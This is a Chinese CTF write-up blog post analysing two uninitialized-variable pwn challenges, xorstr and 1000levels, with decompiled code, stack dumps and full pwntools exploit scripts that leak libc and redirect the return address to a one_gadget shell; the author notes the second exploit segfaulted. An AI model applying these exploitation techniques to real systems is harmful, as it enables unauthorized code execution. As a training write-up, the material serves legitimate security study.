BetaMao

uninitial-vulnarable

字数统计: 1.7k阅读时长: 8 min
2018/01/07 Share

两个未初始化的弱点利用题~

ais3-2017-final-xorstr

分析

本题依然给了libc,直接运行是如名字一样进行异或操作,只有这一个功能:

检查下保护,发现只有最基本的nx保护:

分析反编译代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
int __fastcall xorstr(char *input)
{
char s[128]; // [rsp+10h] [rbp-100h]
char result[128]; // [rsp+90h] [rbp-80h]

printf("What do you want to xor :");
read_input(s, 0x80u); //当输入0x80个字符时,是没有'\0'结尾的
xorlen = strlen(s); //当刚好输入0x80个非0字符,长度就会超出0x80
for ( count = 0; count < xorlen; ++count )
result[count] = input[count] ^ s[count];
return printf("Result:%s", result);
}
int process()
{
char input[128]; // [rsp+0h] [rbp-80h]

printf("Your string:");
read_input(input, 0x80u);
return xorstr((__int64)input);
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
double v3; // xmm0_8

init(v3);
while ( 1 )
process();
}

如上漏洞出现在xorstr函数中,当输入到s的字符个数刚好为0x80时,不会添加’\0’,观察栈布局,result刚好在s之上,初始时result第一个可能是’\0’,但是这个函数会被循环调用,可能就能控制result的值,于是就能控制xorlen的长度,于是使count超出0x80,result[count]就会溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
gdb-peda$ x/40gx 0x7fffffffdf40
0x7fffffffdf40: 0x6262626262626262 0x000000ff00000a62 <-s
0x7fffffffdf50: 0x0000000000000000 0x0000000000000000
0x7fffffffdf60: 0x0000000000000000 0x0000000000000000
0x7fffffffdf70: 0x0000000000000000 0x0000000000000000
0x7fffffffdf80: 0x00007fffffffe050 0x00007fffffffdf90
0x7fffffffdf90: 0x0000000000000000 0x00007fffffffe1c0
0x7fffffffdfa0: 0x0000ff00000000ff 0x0000000000000000
0x7fffffffdfb0: 0x00007fffffffe020 0x0000000000000000

0x7fffffffdfc0: 0x00007fffffffe050 0x00007ffff7b156f0 <-result
0x7fffffffdfd0: 0x0000000000000080 0x00007fffffffe050
0x7fffffffdfe0: 0x0000000000000000 0x00007ffff7fcf700
0x7fffffffdff0: 0x000000000000000c 0x0000000000000000
0x7fffffffe000: 0x0000000000000000 0x00007ffff7ffe170
0x7fffffffe010: 0x0000000000000005 0x00000000004007ea
0x7fffffffe020: 0x0000008000000000 0x00007fffffffe050
0x7fffffffe030: 0x0000000000000000 0x0000000bf7ffe170

0x7fffffffe040: 0x00007fffffffe0d0 0x0000000000400999 <-rbp retAddr

0x7fffffffe050: 0x6161616161616161 0x00000000000a6161 <-input
0x7fffffffe060: 0x00007fffffffe078 0x00007ffff7de30d1
0x7fffffffe070: 0x0000000000000000 0x0000000000000000

这是它们的内存布局与内容,可见bp=s[0x80]=result[0]^input[0x80]而此时result[0]=s[0]^input[0]同理可以推出返回地址,再逆推即可控制返回地址,这里有一个问题就是我们能控制s和input,但是不能控制input后的内容,但是通过观察程序可知input后紧接着rbp与retAddr,而rbp指向栈,可以通过前面的碎片泄露出来,后面指向process里面,这个位置固定,于是可以通过:

1
2
3
4
s[0x8:0x10]=0xffffffffffffffff
input[0x88:0x90]==0x4009b4
input[0x8:0x10]=one_gadget^s[0x8:0x10]^input[0x88:0x90]
ret = s[0x8:0x10]^input[0x8:0x10]^input[0x88:0x90]

这样ret = one_gadget啦,不过还有一件事,要使用one_gadget需要知道libc基址,通过观察发现result[8]处存放的是libc的内容,于是可以先泄露出来,在计算libcbase!

代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python
# coding=utf-8
from pwn import *
binary,ip,port = 'xorstr','127.0.0.1',1234
one_gadget = 0xd691f

def init():
global p
if args.REMOTE:
p = remote(ip,port)
else:
p = process(binary)

def genP():
s = 'a'*0x80
# inp = 'b'*0x80
# s[0x8:0x10]=p64(0xffffffffffffffff)
inp136_144 = p64(0x4009b4)
inp8_16 = p64(one_gadget^u64('a'*8)^u64(inp136_144))
# print 'inp8_16:',hex(u64(inp8_16))
inp = 'b'*8+inp8_16+'\x00'*10
# inp[0x88:0x90]=p64(0x4009b4)
# inp[0x8:0x10]=p64(one_gadget^u64(s[0x8:0x10])^u64(inp[0x88:0x90]))

return inp,s
def mySend(inp,s):
p.sendafter('string:',inp)
p.sendafter('to xor :',s)

if __name__=='__main__':
init()
# gdb,attach(p)
mySend('\x00'*0x80,'\x01'*8)
tmp = p.recvuntil('Your')[7+8:-4]
tmp = u64(tmp+(8-len(tmp))*'\x00')
libcbase = tmp-0xdb6f0
print 'libc:',hex(libcbase)
one_gadget += libcbase
print 'one_gadget',hex(one_gadget)
inp,s = genP()
mySend('\x00'*0x80,'\x01'*0x40)
#raw_input('#')
# gdb.attach(p)

mySend(inp,s)
p.interactive()

结果

HITB-GSEC-CTF-2017-1000levels

分析

提供libc,运行是做计算,输入两次要次数,次数会相加,检查安全:

开了PIE有点难受,分析代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/*main*/
int __cdecl main(int argc, const char **argv, const char **envp)
{
int opt; // eax

init();
banner();
while ( 1 )
{
while ( 1 )
{
print_menu();
opt = read_num();
if ( opt != 2 )
break;
hint();
}
if ( opt == 3 )
break;
if ( opt == 1 )
go();
else
puts("Wrong input");
}
give_up();
return 0;
}

main就一个选单,没有什么明显的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/*go*/
int go(void)
{
int v1; // ST0C_4
__int64 leve; // [rsp+0h] [rbp-120h]
__int64 levea; // [rsp+0h] [rbp-120h]
int v4; // [rsp+8h] [rbp-118h]
__int64 first; // [rsp+10h] [rbp-110h]
signed __int64 total; // [rsp+10h] [rbp-110h]
signed __int64 count; // [rsp+18h] [rbp-108h]
__int64 v8; // [rsp+20h] [rbp-100h]

puts("How many levels?");
leve = read_num();
if ( leve > 0 ) //当leve不大于0,first不会被赋值
first = leve;
else
puts("Coward");
puts("Any more?");
levea = read_num();
total = first + levea;
if ( total > 0 )
{
if ( total <= 999 )
{
count = total;
}
else
{
puts("More levels than before!");
count = 1000LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)level(count) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", count, (unsigned int)(v1 - v4), levea);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}
return puts("Coward");
}

如上,当leve不大于0时,first没有被初始化且未被赋值,直接使用将会出现问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
/*level*/
_BOOL8 __fastcall level(signed int count)
{
__int64 v2; // rax
char buf[32]; // [rsp+10h] [rbp-30h]
unsigned int v4; // [rsp+30h] [rbp-10h]
unsigned int v5; // [rsp+34h] [rbp-Ch]
unsigned int v6; // [rsp+38h] [rbp-8h]
int i; // [rsp+3Ch] [rbp-4h]

*(_QWORD *)buf = 0LL;
*(_QWORD *)&buf[8] = 0LL;
*(_QWORD *)&buf[16] = 0LL;
*(_QWORD *)&buf[24] = 0LL;
if ( !count )
return 1LL;
if ( (unsigned int)level(count - 1) == 0 )
return 0LL;
v6 = rand() % count;
v5 = rand() % count;
v4 = v5 * v6;
puts("====================================================");
printf("Level %d\n", (unsigned int)count);
printf("Question: %d * %d = ? Answer:", v6, v5);
for ( i = read(0, buf, 0x400uLL); i & 7; ++i ) //buf溢出
buf[i] = 0;
v2 = strtol(buf, 0LL, 10);
return v2 == v4;
}

如上一个明显的栈溢出,但是开了PIE有没有什么泄露,不能覆盖到有效的地址。

1
2
3
4
5
6
7
8
9
10
int hint(void)
{
char hintStr[264]; // [rsp+8h] [rbp-108h]

if ( show_hint )
sprintf(hintStr, "Hint: %p\n", &system);
else
strcpy(hintStr, "NO PWN NO FUN");
return puts(hintStr);
}

hint很关键,直接看似乎没什么问题,show_hint在bss处不能被改写,第一个分支进不去,但是看反汇编代码:
(/image1/2018-01-07-15-51-36.png)
无论是否要进入分支,他都会把数据放栈上,若在go里面这个数据未被覆盖能拿来用,那将是可利用的,幸运的是,他的确就在上面的分析的first上,他们处于同一地址,那么第一次输入0时,first的值将位system的地址,另外total = first + levea;的leavea是可控的,于是又控制了栈上一个数据,这样就有两种思路:

  1. go可循环进入,当total<=0时会返回Coward,于是从高到低即可爆出system的地址,知道地址即可覆盖返回地址,此时可以使用libc中的gadget构造system(“sh”),也可以直接使用one_gadget
  2. 直接使用one_gadget,将total改写为其地址,只需要在level函数返回时ret滑行即可到达total,这样的难点就是差一个ret gadget的地址了,开了pie其他部分都随机,可以利用vsyscall

代码

这里使用第二种方式,使用vsyscall,它的地址为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python
# coding=utf-8
from pwn import *
binary,ip,port = '1000levels','127.0.0.1',1234
one_gadget = 0x3f2d6
offset = one_gadget-0x000000000003f450
retAddr = 0xffffffffff600000
def init():
global p
if args.REMOTE:
p = remote(ip,port)
else:
p = process(binary)

def hint():
# gdb.attach(p)
# raw_input('#')
p.sendlineafter('Choice:\n','2')
def play():
p.recvuntil('Question: ')
expr = p.recvuntil('=')[:-1]
result = eval(expr)
log.info(expr+str(result))
p.sendlineafter('Answer:',str(result))

def go():
p.sendlineafter('Choice:\n','1')
# gdb.attach(p)
# raw_input('#')
p.sendlineafter('levels?\n','0')
# raw_input('#')
p.sendlineafter('more?\n',str(offset))
for _ in range(999):
play()
payload = 'a'*0x38+p64(retAddr)*3
# gdb,attach(p)
p.send(payload)
p.interactive()
if __name__=='__main__':
init()
hint()
go()
p.interactive()

然鹅失败了,不知道为什么vsyscall上会出现段错误。。。

参考

https://github.com/briansp8210/CTF-writeup/tree/master/AIS3-2017-final
http://www.cnblogs.com/wangaohui/p/7122653.html

CATALOG
  1. 1. ais3-2017-final-xorstr
    1. 1.1. 分析
    2. 1.2. 代码
    3. 1.3. 结果
  2. 2. HITB-GSEC-CTF-2017-1000levels
    1. 2.1. 分析
    2. 2.2. 代码
  3. 3. 参考